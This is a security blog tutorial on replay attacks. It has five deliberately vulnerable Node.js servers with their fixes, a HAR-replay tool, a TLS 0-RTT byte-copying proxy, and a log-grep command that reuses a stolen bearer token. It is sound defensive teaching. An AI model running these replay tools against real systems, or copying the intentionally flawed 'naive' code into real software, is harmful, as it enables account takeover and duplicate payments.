Skip to content
Blog

← All articles

Replay Attacks from the Attacker’s Side: Capture Once, Send Again

A replay attacker doesn’t break your crypto; they send a request you already accepted, again. We built five vulnerable servers and attacked each with one captured request: a webhook credited four times, a session cookie that outlived sign-out, a used password-reset link that took over the account, a token sent to the wrong API, and TLS 1.3 early data replayed through nginx. Then we fixed each one and ran the attack again.

By 20 min read

Most attacks on authentication try to make something: forge a signature, guess a password, find a key. A replay attack makes nothing. The attacker takes a request your server already accepted, and sends it again. The signature is real, the token is real, the session is real, because they were all made by the legitimate user. The only thing wrong is when the request arrives, from where, or how many times, and a surprising number of systems never check any of those.

This article takes the attacker’s side. We built five small servers, each with a common mistake, and attacked every one of them with nothing but a captured request: no keys, no passwords, no cryptography. Then we fixed each server and ran the same attack again. Some of these replays have their own articles already, like replaying a JWT or a refresh token; this one is about the ones that don’t, and about how an attacker thinks, so that you can find the next one in your own code.

The short answer#

The attacker’s view: send it again#

Think about what a server checks when a request arrives. Is the signature valid? Is the token unexpired? Is the session cookie one we issued? Every one of those questions is about the request’s content, and a copy has the same content as the original. So the attacker’s question is simple: which checks look at anything a copy doesn’t have?

Only three kinds of checks do. A time limit (a signed timestamp, a short expiry) makes old copies useless. A memory (the server records an ID and refuses it a second time) makes every copy after the first useless. And a binding (to a key, a TLS connection, a specific API) makes copies useless anywhere else. If a request has none of the three, a replay works, and the attacker doesn’t need to understand anything about it. They don’t even need to read it: in the last attack below, the request stays encrypted the whole time.

Our attacker’s tool is about as simple as it gets. It reads one request from a HAR file (the format browser dev tools export, and the one support teams ask customers for), and sends it again, optionally to another URL or with one header changed:

replay.mjs
// replay.mjs: send a captured request again. It reads one request from a HAR file, the format browser dev tools export.
// node replay.mjs capture.har [--times 3] [--url http://other-host/path] [--set "Header: value"]
import { readFileSync } from "node:fs";

const args = process.argv.slice(2);
const option = (name) => { const i = args.indexOf(name); return i < 0 ? undefined : args[i + 1]; };
const { request } = JSON.parse(readFileSync(args[0], "utf8")).log.entries[0];

const skip = new Set(["host", "content-length", "connection"]); // fetch sets these itself
const headers = Object.fromEntries(
  request.headers.filter((h) => !skip.has(h.name.toLowerCase()) && !h.name.startsWith(":")).map((h) => [h.name, h.value]),
);
if (option("--set")) { // change a header that isn't covered by the signature
  const [name, ...value] = option("--set").split(":");
  headers[name.trim()] = value.join(":").trim();
}
const url = option("--url") ?? request.url; // the same request, sent somewhere else

for (let i = 1; i <= Number(option("--times") ?? 1); i++) {
  const res = await fetch(url, { method: request.method, headers, body: request.postData?.text });
  console.log(`#${i} ${request.method} ${new URL(url).pathname} -> ${res.status} ${(await res.text()).trim()}`);
}

Where captured requests come from#

Developers tend to picture replay as someone sniffing Wi-Fi. With HTTPS everywhere, that’s the rare case. Captured requests come from the places where requests are stored, after TLS has done its job:

SourceWhat it holdsReal example
HAR filesEvery request in a browser session, with cookies and Authorization headersIn October 2023, an attacker in Okta’s support system took session tokens from HAR files that customers had uploaded to support cases, and used them to take over sessions at several customers.
Malware on the user’s machineThe browser’s cookie storeIn March 2023, Linus Tech Tips’ YouTube channels were taken over with session cookies stolen by malware in a fake sponsorship file; the passwords and two-factor codes were never needed.
LogsURLs with tokens in the query string, and sometimes whole headersReplay 4 below: an API that logs request headers
Browser history and the Referer headerLinks with tokens in them: reset links, magic links, OAuth codesReplay 3 below
Proxies, load balancers, TLS inspection boxesDecrypted traffic, and often logs of itCorporate TLS inspection sees every request in plaintext
Shared snippetsA curl command in a ticket or a chat, with the real token“Here’s the request that fails, can you look?”

A HAR entry is all the attacker needs. Here is the part that matters from one of the captures in the lab (trimmed):

{ "log": { "entries": [ { "request": {
  "method": "POST",
  "url": "http://localhost:4300/webhook",
  "headers": [
    { "name": "Content-Type", "value": "application/json" },
    { "name": "X-Signature", "value": "v1=6f1c…" }
  ],
  "postData": { "text": "{\"id\":\"evt_1001\",\"type\":\"payment.succeeded\",\"account\":\"acct_42\",\"amount\":100}" }
} } ] } }

Each of the five replays below starts from a file like that.

Replay 1: a webhook signed without a time#

A payment provider tells your server about payments with webhooks: an HTTP POST with a JSON event, and an HMAC signature so you know it came from the provider. The receiver below credits the account when a payment succeeds. In --naive mode, the signature covers the body alone, which is also how GitHub signs its webhooks (X-Hub-Signature-256 is an HMAC of the payload, nothing else):

webhook.mjs
// webhook.mjs: a payment webhook receiver. --naive trusts the signature alone; --header-id also skips repeats by an ID header.
import { createServer } from "node:http";
import { createHmac, timingSafeEqual } from "node:crypto";

const SECRET = process.env.WEBHOOK_SECRET ?? "whsec_lab_only";
const MODE = process.argv.includes("--naive") ? "naive" : process.argv.includes("--header-id") ? "header-id" : "fixed";
const TOLERANCE = 300; // seconds: the 5-minute default in Stripe's libraries
const balances = new Map();
const processed = new Set(); // event IDs already applied (in production: a unique index, in the same transaction as the credit)

const hmac = (data) => createHmac("sha256", SECRET).update(data).digest("hex");
const equal = (a, b) => a.length === b.length && timingSafeEqual(Buffer.from(a), Buffer.from(b));

// The provider sends X-Signature: t=<unix seconds>,v1=<HMAC-SHA256 of "t.body">. The naive format signs the body alone.
function check(header, body) {
  const sig = Object.fromEntries(header.split(",").map((part) => part.split("=")));
  if (MODE !== "fixed") return equal(sig.v1 ?? "", hmac(body)) ? null : "bad signature"; // valid forever
  if (!equal(sig.v1 ?? "", hmac(`${sig.t}.${body}`))) return "bad signature"; // the time is signed, so it can't be changed
  if (Math.abs(Date.now() / 1000 - Number(sig.t)) > TOLERANCE) return "too old";
  return null;
}

createServer(async (req, res) => {
  let body = "";
  for await (const chunk of req) body += chunk;
  const error = check(req.headers["x-signature"] ?? "", body);
  if (error) return res.writeHead(400).end(`${error}\n`);

  const event = JSON.parse(body);
  // Skip events already applied. The ID must come from the signed body: anyone can change a header.
  const id = MODE === "header-id" ? req.headers["x-event-id"] : event.id;
  if (MODE !== "naive") {
    if (processed.has(id)) return res.writeHead(200).end("already processed\n"); // 200, so honest retries stop
    processed.add(id); // can be forgotten after TOLERANCE: by then the time check rejects the event anyway
  }
  balances.set(event.account, (balances.get(event.account) ?? 0) + event.amount);
  res.writeHead(200).end(`credited ${event.amount}, balance ${balances.get(event.account)}\n`);
}).listen(process.env.PORT ?? 4300);

The attacker has one real delivery, a payment of 100, captured from a request log. They can’t change a byte of the body without breaking the signature. They don’t need to:

$ node webhook.mjs --naive &
$ node replay.mjs capture.har --times 3
#1 POST /webhook -> 200 credited 100, balance 200
#2 POST /webhook -> 200 credited 100, balance 300
#3 POST /webhook -> 200 credited 100, balance 400

One payment, four credits. The usual first fix is to skip events you’ve already seen, and many receivers key that on a delivery ID header, because it’s right there (GitHub sends X-GitHub-Delivery). That stops the exact copy, and the attacker’s second try:

$ node webhook.mjs --header-id &
$ node replay.mjs capture.har
#1 POST /webhook -> 200 already processed
$ node replay.mjs capture.har --set "X-Event-Id: evt_9999"
#1 POST /webhook -> 200 credited 100, balance 200

The header isn’t signed, so the attacker changes it. This is the attacker’s most useful habit: for every check, find out which bytes it covers, and change the ones it doesn’t. The fix has two parts, and the default mode of webhook.mjs does both:

  • Sign a timestamp with the body, as Stripe does (t=…,v1=HMAC("t.body")) and Slack does with X-Slack-Request-Timestamp, and reject anything older than five minutes. The attacker can’t change t without breaking the signature, so an old capture stays old.
  • Skip event IDs already applied, using the ID inside the signed body. The time window alone still allows replays for five minutes; the ID closes that. Because the window rejects anything older, the IDs only need to be kept for five minutes too. In a database, make it a unique index in the same transaction as the credit, so two copies arriving at once can’t both pass.
$ node webhook.mjs &
$ node replay.mjs capture.har --times 2          # within 5 minutes
#1 POST /webhook -> 200 already processed
#2 POST /webhook -> 200 already processed
$ node replay.mjs capture.har --set "X-Event-Id: evt_9999"
#1 POST /webhook -> 200 already processed
$ node replay.mjs old-capture.har                # captured 6 minutes ago
#1 POST /webhook -> 400 too old
$ node replay.mjs edited-t.har                   # t changed to now, signature kept
#1 POST /webhook -> 400 bad signature

The receiver answers 200 to a duplicate, not an error: providers retry deliveries that fail, and a duplicate from an honest retry should stop the retries. If you design a webhook format yourself, the Standard Webhooks specification signs the message ID, the timestamp and the body together, which gives you both parts at once. And when you consume GitHub’s webhooks, which have neither, deduplicate on something inside the payload and make the handler safe to run twice.

Replay 2: a session cookie after sign-out#

The Okta and Linus Tech Tips attacks didn’t steal passwords; they stole session cookies, which are proof that the password was already checked. The obvious defense is to sign out, and here is a server where that does nothing. In --naive mode, the session is a signed JWT in the cookie, so there’s no server-side session to end:

session.mjs
// session.mjs: sign-in and sign-out. --naive keeps the whole session in a signed cookie, so sign-out can only delete the cookie.
import { createServer } from "node:http";
import { randomBytes } from "node:crypto";
import { SignJWT, jwtVerify } from "jose";

const NAIVE = process.argv.includes("--naive");
const key = randomBytes(32);
const sessions = new Map(); // session ID -> { user, expires } (in production: Redis or a sessions table)

async function startSession(user) {
  if (NAIVE) return new SignJWT({ sub: user }).setProtectedHeader({ alg: "HS256" }).setExpirationTime("8h").sign(key);
  const id = randomBytes(32).toString("base64url"); // a random ID that means nothing without the server's record
  sessions.set(id, { user, expires: Date.now() + 8 * 3600_000 });
  return id;
}
async function currentUser(sid) {
  if (!sid) return null;
  if (NAIVE) return (await jwtVerify(sid, key, { algorithms: ["HS256"] }).catch(() => null))?.payload.sub ?? null;
  const s = sessions.get(sid);
  return s && s.expires > Date.now() ? s.user : null;
}
const endSession = (sid) => sessions.delete(sid); // naive: there's nothing on the server to delete

createServer(async (req, res) => {
  const sid = /(?:^|;\s*)sid=([^;]+)/.exec(req.headers.cookie ?? "")?.[1];
  const cookie = (value, maxAge) => `sid=${value}; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=${maxAge}`;
  if (req.method === "POST" && req.url === "/login") { // (the password check is left out)
    res.writeHead(200, { "Set-Cookie": cookie(await startSession("alice"), 8 * 3600) }).end("signed in\n");
  } else if (req.method === "POST" && req.url === "/logout") {
    endSession(sid);
    res.writeHead(200, { "Set-Cookie": cookie("", 0) }).end("signed out\n"); // tells the browser to forget the cookie
  } else if (req.url === "/account") {
    const user = await currentUser(sid);
    res.writeHead(user ? 200 : 401).end(user ? `account of ${user}\n` : "sign in first\n");
  } else {
    res.writeHead(404).end();
  }
}).listen(process.env.PORT ?? 4310);

Alice signs in, saves a HAR file for a support ticket, and signs out. Her browser deletes the cookie, and she’s safe, as far as she can tell. The attacker who got the HAR file sends her request again:

$ node session.mjs --naive &
$ node replay.mjs capture.har      # after Alice signed out
#1 GET /account -> 200 account of alice

$ node session.mjs &
$ node replay.mjs capture.har      # same steps, server-side sessions
#1 GET /account -> 401 sign in first

Sign-out sent Max-Age=0, which asks Alice’s browser to forget the cookie. The attacker’s copy isn’t in Alice’s browser. With a signed cookie, nothing on the server knows the session ended, so the copy works until the token expires, eight hours later. With a random session ID that means nothing without the server’s record, sign-out deletes the record and every copy dies at once. That’s the case for keeping sessions on the server; if you do use self-contained tokens, sign-out has to add them to a revocation list.

Note what the fix doesn’t stop: a cookie copied before sign-out works until sign-out, from anywhere. Narrowing that takes a few more layers: idle timeouts, ending every session when the password changes (the reset handler below has a comment for it), asking for the password again before anything sensitive, and binding the credential to a key the attacker can’t copy. For API tokens, that’s DPoP; for browser apps, a backend for frontend keeps tokens out of reach of the page, and Google’s Device Bound Session Credentials apply the same idea to cookies.

Replay 3: a password-reset link, used twice#

Reset links are bearer tokens in a URL: whoever opens the link controls the account. URLs are stored in more places than any header: browser history, proxy logs, the mail provider, the mail scanner that opens every link to check it. The naive version below signs an email address and an expiry time, so it needs no database, and accepts the link until it expires, 24 hours later:

reset.mjs
// reset.mjs: password-reset links. --naive signs the link and accepts it until it expires; the fix stores it and uses it up.
import { createServer } from "node:http";
import { createHash, createHmac, randomBytes, timingSafeEqual } from "node:crypto";

const NAIVE = process.argv.includes("--naive");
const key = randomBytes(32);
const passwords = new Map([["alice@example.com", "old password"]]); // (store password hashes, never passwords)
const resets = new Map(); // SHA-256 of the token -> { email, expires }
const sha256 = (s) => createHash("sha256").update(s).digest("base64url");
const mac = (data) => createHmac("sha256", key).update(data).digest("base64url");
const equal = (a, b) => a.length === b.length && timingSafeEqual(Buffer.from(a), Buffer.from(b));

function issueToken(email) {
  if (NAIVE) { // stateless: nothing stored, so nothing can record that it was used
    const data = Buffer.from(JSON.stringify({ email, exp: Date.now() + 24 * 3600_000 })).toString("base64url");
    return `${data}.${mac(data)}`;
  }
  const token = randomBytes(32).toString("base64url");
  resets.set(sha256(token), { email, expires: Date.now() + 15 * 60_000 }); // a hash, so a database leak gives no links
  return token;
}

function redeemToken(token) { // the account's email, or null
  if (NAIVE) {
    const [data = "", sig = ""] = token.split(".");
    if (!equal(sig, mac(data))) return null;
    const { email, exp } = JSON.parse(Buffer.from(data, "base64url").toString());
    return exp > Date.now() ? email : null;
  }
  const entry = resets.get(sha256(token));
  resets.delete(sha256(token)); // one use (in SQL: DELETE ... RETURNING, so two requests can't both get it)
  if (!entry || entry.expires < Date.now()) return null;
  for (const [hash, other] of resets) if (other.email === entry.email) resets.delete(hash); // and any other open links
  return entry.email;
}

createServer(async (req, res) => {
  let body = "";
  for await (const chunk of req) body += chunk;
  const form = new URLSearchParams(body);
  const url = new URL(req.url, "http://localhost");
  if (req.method === "POST" && url.pathname === "/forgot") {
    // This link would be emailed; the lab returns it so the test can follow it.
    res.end(`http://localhost:${process.env.PORT ?? 4330}/reset?token=${issueToken(form.get("email"))}\n`);
  } else if (req.method === "GET" && url.pathname === "/reset") {
    // Showing the form doesn't use the link up: mail scanners and link previews open links before people do.
    res.setHeader("Content-Type", "text/html; charset=utf-8").setHeader("Referrer-Policy", "no-referrer");
    res.end(`<form method="post"><input type="hidden" name="token" value="${url.searchParams.get("token")}">
<input type="password" name="password"><button>Set password</button></form>`);
  } else if (req.method === "POST" && url.pathname === "/reset") {
    const email = redeemToken(form.get("token") ?? "");
    if (email) passwords.set(email, form.get("password")); // (also end the account's sessions here)
    res.writeHead(email ? 200 : 400).end(email ? `password changed for ${email}\n` : "invalid or used link\n");
  } else if (req.method === "POST" && url.pathname === "/login") {
    const ok = passwords.get(form.get("email")) === form.get("password");
    res.writeHead(ok ? 200 : 401).end(ok ? "signed in\n" : "wrong password\n");
  } else {
    res.writeHead(404).end();
  }
}).listen(process.env.PORT ?? 4330);

Alice resets her password with the link. Later the same day, the attacker finds it in a proxy log and uses it again, with a password of their choosing:

naive:  POST /reset (Alice's used link) -> 200 password changed for alice@example.com
        attacker signs in: 200, Alice signs in: 401
fixed:  POST /reset (Alice's used link) -> 400 invalid or used link
        attacker signs in: 401, Alice signs in: 200

With the naive link, the attacker now owns the account, and Alice is locked out. The fixed version follows the rules in OWASP’s cheat sheet, and each line matters to an attacker:

  • A random token, used up on first use. Deleting it as it’s redeemed (in SQL, DELETE … RETURNING) also stops two requests racing with the same link.
  • Used up on the POST, not when the page opens. Mail scanners and chat link previews open links before people do; a link consumed by a GET would be dead before Alice clicked it. The test opens the page twice before using the link, and it still works.
  • Other open links die too. If Alice asked twice, the older email’s link stops working once she uses either one.
  • Stored as a hash, and short-lived. A database leak gives no working links, and 15 minutes is a short time for a link to sit in a log.
  • Referrer-Policy: no-referrer on the page. Browsers today send only the origin to other sites by default, so the token doesn’t leak through the Referer header to a third-party script. The header makes sure of that for every client, and keeps the full URL from same-site analytics too.

The same rules apply to magic sign-in links, email verification links and invitation links: anything where the URL is the credential.

Replay 4: a token sent to the wrong API#

A replay doesn’t have to go back to the same server. Below, one sign-in server issues access tokens for two APIs: a photo API that nobody worries about, and a billing API that everybody does. The photo API logs every request with its headers, which is a common debugging leftover. In --naive mode, the billing API checks the signature, the issuer and the expiry, but not the audience:

two-apis.mjs
// two-apis.mjs: one sign-in server and two APIs that trust it. --naive: the billing API doesn't check the token's audience.
import { createServer } from "node:http";
import { appendFileSync } from "node:fs";
import { SignJWT, generateKeyPair, jwtVerify } from "jose";

const NAIVE = process.argv.includes("--naive");
const ISSUER = "https://login.example.test";
const port = Number(process.env.PORT ?? 4320);
const { publicKey, privateKey } = await generateKeyPair("ES256");

async function caller(req, audience) { // the signed-in user, or undefined
  const token = req.headers.authorization?.replace(/^Bearer /, "") ?? "";
  const checks = NAIVE && audience === "billing-api" ? { issuer: ISSUER } : { issuer: ISSUER, audience };
  return (await jwtVerify(token, publicKey, { algorithms: ["ES256"], ...checks }).catch(() => null))?.payload.sub;
}

// The sign-in server: GET /token?aud=photos-api gives alice a token for that API. (Signing in is left out.)
createServer(async (req, res) => {
  const aud = new URL(req.url, "http://localhost").searchParams.get("aud");
  if (!aud) return res.writeHead(400).end("which API? ?aud=\n");
  res.end(await new SignJWT({}).setProtectedHeader({ alg: "ES256" }).setIssuer(ISSUER).setSubject("alice")
    .setAudience(aud).setIssuedAt().setExpirationTime("15m").sign(privateKey));
}).listen(port);

// The photo API: low value, and it logs every request with its headers.
createServer(async (req, res) => {
  appendFileSync("photos-access.log", `${req.method} ${req.url} ${JSON.stringify(req.headers)}\n`);
  const user = await caller(req, "photos-api");
  res.writeHead(user ? 200 : 401).end(user ? `12 photos of ${user}\n` : "unauthorized\n");
}).listen(port + 1);

// The billing API: high value.
createServer(async (req, res) => {
  const user = await caller(req, "billing-api");
  res.writeHead(user ? 200 : 401).end(user ? `card on file for ${user}: visa ending 4242\n` : "unauthorized\n");
}).listen(port + 2);

Alice uses the photo app. The attacker has read access to the photo API’s logs (a support engineer’s account, a log shipping bucket, a compromised low-value service) and sends Alice’s token to billing:

$ TOKEN=$(grep -o 'Bearer [^"]*' photos-access.log | tail -1)
$ curl -s -H "Authorization: $TOKEN" http://localhost:4322/
card on file for alice: visa ending 4242          # --naive
unauthorized                                      # billing checks aud

The token is genuine, signed by the right issuer, and unexpired. It was just made for somebody else. Every API should check that aud names it (in jose, the audience option; the JWT access token profile, RFC 9068, requires it), and clients should ask for a token per API, with resource indicators where the authorization server supports them. That turns one leaked token into access to one API, not all of them. And don’t log Authorization headers: that one line turned a photo service’s logs into keys for billing.

Replay 5: TLS 1.3 early data#

The last replay is the strangest, because the protocol itself allows it. TLS 1.3 lets a client that has connected before send its first request with the handshake, without waiting a round trip: “0-RTT”, or early data. It saves one round trip on every resumed connection, and the price is written into the standard: RFC 8446 says early data has no guarantee against replay between connections. The server has to act on it before the handshake finishes, and nothing in those first bytes is fresh.

Our attacker sits on the network path (a hostile Wi-Fi network, a compromised router) and can’t decrypt anything. They copy the client’s bytes as they pass, and when the connection closes, open a new one to the server and send the same bytes:

zero-rtt-replay.mjs
// zero-rtt-replay.mjs: an attacker on the network path copies a TLS 1.3 client's bytes and sends them again.
// node zero-rtt-replay.mjs <listen port> <server port>
import { connect, createServer } from "node:net";

const [listenPort, serverPort] = process.argv.slice(2).map(Number);

createServer((client) => {
  const captured = []; // everything the client sends, still encrypted: the attacker can't read or change any of it
  const server = connect(serverPort, "localhost");
  client.on("data", (bytes) => { captured.push(bytes); server.write(bytes); });
  server.on("data", (bytes) => client.write(bytes));
  client.on("error", () => server.destroy());
  server.on("error", () => client.destroy());

  client.on("close", () => {
    server.end();
    // Later, a new connection that sends the same bytes. The handshake can't finish, but early data is read first.
    const replay = connect(serverPort, "localhost", () => replay.write(Buffer.concat(captured)));
    replay.on("data", () => {}).on("error", () => {});
    setTimeout(() => replay.end(), 1000); // stay connected long enough for the server to act on it
    replay.on("close", () => console.log(`replayed ${Buffer.concat(captured).length} bytes`));
  });
}).listen(listenPort);

The replayed handshake can never finish, because the attacker doesn’t have the client’s keys. But the early data is read before it would. Against OpenSSL’s own test server, with a ticket from an earlier connection and a POST /transfer as early data:

openssl s_server -early_data -no_anti_replay   the server saw the transfer 2 times
openssl s_server -early_data                   the server saw the transfer 1 time

By default, OpenSSL’s server lets each session ticket carry early data once, so the copy was refused. But that memory lives in one server process, and RFC 8446 is clear that a group of servers needs shared state, or another defense, to get the same protection. So we put nginx in front of an app that moves money, with early data turned on:

nginx.conf
# nginx.conf: accept TLS 1.3 early data, but tell the app which requests arrived in it.
worker_processes 1;
events {}
http {
  server {
    listen 8443 ssl;
    ssl_certificate     cert.pem;
    ssl_certificate_key key.pem;
    ssl_protocols       TLSv1.3;
    ssl_early_data      on;                          # 0-RTT: the first request rides along with the ClientHello
    location / {
      proxy_pass http://127.0.0.1:8080;
      proxy_set_header Early-Data $ssl_early_data;   # "1" while the handshake isn't finished (RFC 8470)
    }
  }
}
bank.mjs
// bank.mjs: the app behind nginx. --naive ignores the Early-Data header; the fix refuses to move money from early data.
import { createServer } from "node:http";

const NAIVE = process.argv.includes("--naive");
let transfers = 0;

createServer((req, res) => {
  const early = req.headers["early-data"] === "1"; // set by nginx: this request arrived as TLS 1.3 early data
  let status = 200;
  if (req.method === "POST" && req.url === "/transfer") {
    if (early && !NAIVE) status = 425; // Too Early (RFC 8470): the browser sends it again once the handshake is done
    else transfers++;
  }
  console.log(`${req.method} ${req.url} early=${early ? 1 : 0} -> ${status}, transfers: ${transfers}`);
  res.writeHead(status, { "Content-Type": "text/plain" }).end(status === 425 ? "Too Early\n" : `transfers: ${transfers}\n`);
}).listen(8080);
bank.mjs --naive   POST /transfer early=1 -> 200, transfers: 1
                   POST /transfer early=1 -> 200, transfers: 2     # the replay
bank.mjs           POST /transfer early=1 -> 425, transfers: 0
                   POST /transfer early=1 -> 425, transfers: 0     # the replay
                   POST /transfer early=0 -> 200, transfers: 1     # the client's retry

nginx 1.30.8 passed both copies to the app, and a naive app moved the money twice, from bytes the attacker never read. The defense comes from RFC 8470: nginx sets Early-Data: 1 on requests that arrived before the handshake finished, and the app answers 425 Too Early to any of them that change state. Neither copy did anything. A client that sent its request as early data retries it after the handshake, where it’s safe, and the transfer happens once.

The simplest defense is the default: nginx leaves ssl_early_data off, and so should you, unless you’ve measured that you need the round trip. When Cloudflare launched 0-RTT in 2017, it accepted early data only for GET requests without a query string. If you terminate TLS at a CDN or a load balancer, check whether it sends early data to you, and how it marks it.

The replay map: what stops each one#

Here is every replay from this article and our other articles, in one table. For each kind of request, the attacker’s question (“why would a copy work?”) and the check that answers it:

The attacker hasWhy a copy worksWhat stops itMore
A webhook deliveryThe signature covers the body, which never changesSign a timestamp with the body, reject anything older than 5 minutes, skip event IDs already appliedReplay 1
A signed API request (HMAC)Same as a webhook: nothing in it says when or how oftenA timestamp and a nonce inside the signature; the server remembers nonces for the windowNonces Explained
A session cookieThe server accepts it from anyone until it expiresServer-side sessions that sign-out really ends; idle timeouts; re-authentication for sensitive actionsReplay 2
A bearer access tokenBearer means whoever holds itShort lifetimes, an audience per API, and binding to a key (DPoP) or keeping tokens out of the browser (BFF)DPoP, BFF
A token for one APIAnother API trusts the same issuer and skips audEvery API checks that aud is its own nameReplay 4
A refresh tokenIt’s long-lived and mints new access tokensRotation with reuse detection: a used refresh token revokes the whole familyRefresh token rotation
A one-time JWT (client assertion, DPoP proof)It verifies until exp, however many times it’s sentA jti that the server records and refuses the second timeThe jti claim
An authorization codeIt’s in a URL, so it lands in history and logsSingle-use codes, PKCE, and exact redirect URIsPKCE, redirects
An ID tokenIt’s genuine, just from another sign-inThe OpenID Connect nonce, compared and forgottenNonces Explained
A password-reset linkNothing records that it was usedA random token, stored hashed, used up on the first POST, expiring in minutesReplay 3
TLS 1.3 early dataThe server acts on it before the handshake proves anythingLeave early data off, or answer 425 Too Early to anything that changes stateReplay 5

The defenses are the three from the start, over and over: a time limit (signed timestamps, short expiries), a memory (event IDs, jti, nonces, single-use tokens, server-side sessions) and a binding (to an audience, a key, or a finished handshake). Time limits are cheap and stop old copies; memory stops recent ones but costs storage, which the time limit keeps small; binding stops copies used anywhere else, even fresh ones. Most of the fixes above use two of the three.

Replay your own app: a checklist#

None of these needs special tools, and each takes minutes against a test environment:

  1. Search your logs for Bearer , Cookie:, token= and code=. Anything you find is a capture waiting for an attacker.
  2. Export a HAR file, sign out, and replay a request from it with replay.mjs or curl. If it still works, sign-out doesn’t end sessions.
  3. Use a reset link, a magic link and an invitation link twice. Then open one in a second browser before using it in the first.
  4. Send a token for one API to another one that trusts the same issuer.
  5. Replay a webhook delivery a second later, an hour later, and with each unsigned header changed.
  6. Send any request that moves money or sends messages twice, quickly. If both work, it needs an idempotency key, which stops honest double-clicks and retries as well as attackers.
  7. Check whether early data is on at every TLS terminator: ssl_early_data in nginx, and the 0-RTT setting at your CDN or load balancer.

What we tested#

Every code block above is in the article’s examples file. A test script extracts them unchanged and runs them in one Alpine container with Node 24 (jose 6.2.13), OpenSSL 3.5.9 and nginx 1.30.8, playing the victim and then the attacker against each server, naive and fixed (8 checks):

  • Webhooks: one payment replayed three times credited 400 with --naive; with --header-id the exact copy was skipped and the copy with a changed header credited again; the fix skipped copies within five minutes (changed header or not), refused a capture six minutes old, and refused a copy whose t had been changed.
  • Sessions: after sign-out, the captured cookie still opened the account with a signed cookie, and was refused with server-side sessions.
  • Reset links: with --naive, a used link let the attacker set a password and locked Alice out; the fix refused it, still worked after the page had been opened twice, and killed an older open link when a newer one was used.
  • Audience: the shell commands above took a photo API token from its log and opened billing with --naive, and got unauthorized when billing checked aud.
  • TLS 1.3 early data: the copied bytes were processed twice by openssl s_server -no_anti_replay and once with its defaults; through nginx, the naive app moved money twice, and the fixed one answered 425 to both copies and moved it once on the retry after the handshake.

FAQ#

What is a replay attack, in one sentence?

Sending a valid request again, unchanged, to get its effect a second time, somewhere else, or after it should have stopped working.

Doesn’t HTTPS stop replay attacks?

It stops people on the network from reading or copying your requests, with one exception: TLS 1.3 early data, which the attacker can copy without reading. It does nothing about requests captured at either end, which is where almost all captures come from: logs, HAR files, browser storage, proxies that decrypt traffic.

Isn’t signing requests enough?

No. A signature proves the request wasn’t changed and who made it. A copy isn’t changed and was made by the same person, so it passes. The signed data has to include something that makes a copy detectable: a timestamp, a nonce or an ID the server remembers.

Is a short expiry enough?

It limits replays to the expiry window, which is often enough for read-only access. For anything that changes state, a copy inside the window still works, so pair the window with a memory of what was used: an event ID, a jti, a nonce. The window keeps that memory small.

How is a replay different from session hijacking?

Session hijacking is replaying one particular thing, the session cookie or token, as many times as the attacker likes. Replay is the wider idea: any captured request, including one-off actions like a payment, a webhook or a reset.

Can I see what’s in a captured token?

Yes. Paste it into our JWT decoder: exp tells you how long a copy works, aud where it should work, and jti whether the server can tell copies apart. A token with no aud and a long exp is the attacker’s favorite kind.

Get the code

  • replay-attacks-sample on GitHub: the five servers and the attacker’s replay tool from this article, with tests that run every attack, naive and fixed, in Docker with OpenSSL and nginx.

Try it in your browser

  • JWT Decoder, Encoder & Editor: decode a captured token to see its aud, exp and jti: the three claims that decide where, how long and how often it can be replayed.
  • Hash Generator: compute an HMAC-SHA256 of a webhook body, with and without the timestamp, to see why one signature can be replayed and the other can’t.
  • Base64 Encoder / Decoder: decode the naive reset token in this article and see that it’s just an email and an expiry time, signed.